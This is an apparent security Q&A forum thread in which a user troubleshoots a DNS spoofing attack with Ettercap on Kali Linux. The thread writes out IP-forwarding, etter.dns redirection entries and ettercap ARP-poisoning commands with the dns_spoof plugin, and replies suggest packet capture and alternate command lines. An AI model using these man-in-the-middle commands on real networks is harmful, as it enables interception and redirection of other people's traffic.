3

I am trying to perform a DNS spoofing attack, but the confusing thing is that when I'm performing the attack on HTTP sites, nothing happens.

But when I perform it on HTTPS sites, when I reach the target site, I get the message: "Your Connection is not Private"!

My commands on Kali Linux by using Ettercap was

echo > 1 /proc/sys/net/ipv4/ip_forward

and then I edited the etter.conf and deleted both # under the iptables section and put my website target in etter.dns under the microsoft sucks like this:

*.example.com A my ip

and the same last one but start with

www.example.com A my ip

next command was service apache2 start

and finally ettercap -T -q -i wlan0 -M arp:remote -P dns_spoof /ROUTER IP/ /TARGET IP/

So after these commands i definitely expect to display my Apache instead of "example.com", but as i said the result was no effect on http sites, and "Your Connection is not Private" message on https.

My main question is why doesn't this attack work for both of http, https, Do you think it's because the router settings or is there something missing?

  • if you look at the packet traces, you should be able to see what's going on. You'll be able to see if ettercap is working and sending the correct info to the correct target – schroeder Jul 5 '16 at 13:27
  • I think It's a good idea to tracking the data but do you have any application you can recommend me with! – Golden Eagle Jul 5 '16 at 16:01
  • 1
    wireshark is the standard if you want a GUI or tcpdump for commandline – schroeder Jul 5 '16 at 17:31
  • 2
    I would HIGHLY recommend that before you go further in learning ettercap that you first learn how to capture and interpret packets – schroeder Jul 5 '16 at 17:32
1

Try only with the target ip specified: ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP///

  • I tried ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP/// but it's did not changed any thing unfortunately. – Golden Eagle Jul 5 '16 at 15:20
  • sounds like your server is not up(running) or the other fake site might be incorrectly configured. Check the file /etc/ettercap/etter.dns. It should contain * A TARGET IP where denotes All address records. – BitsInForce Jul 5 '16 at 15:24
  • I believe i make every step right and correct, i'm even watched some youtube videos and i copied each step, but all ways mine don't work. so It's definitely a Hard situation to tell what's the problem. – Golden Eagle Jul 5 '16 at 15:53
  • I am assuming that you have used elevated privilege with the command. i.e. sudo ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP///. – BitsInForce Jul 12 '16 at 12:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.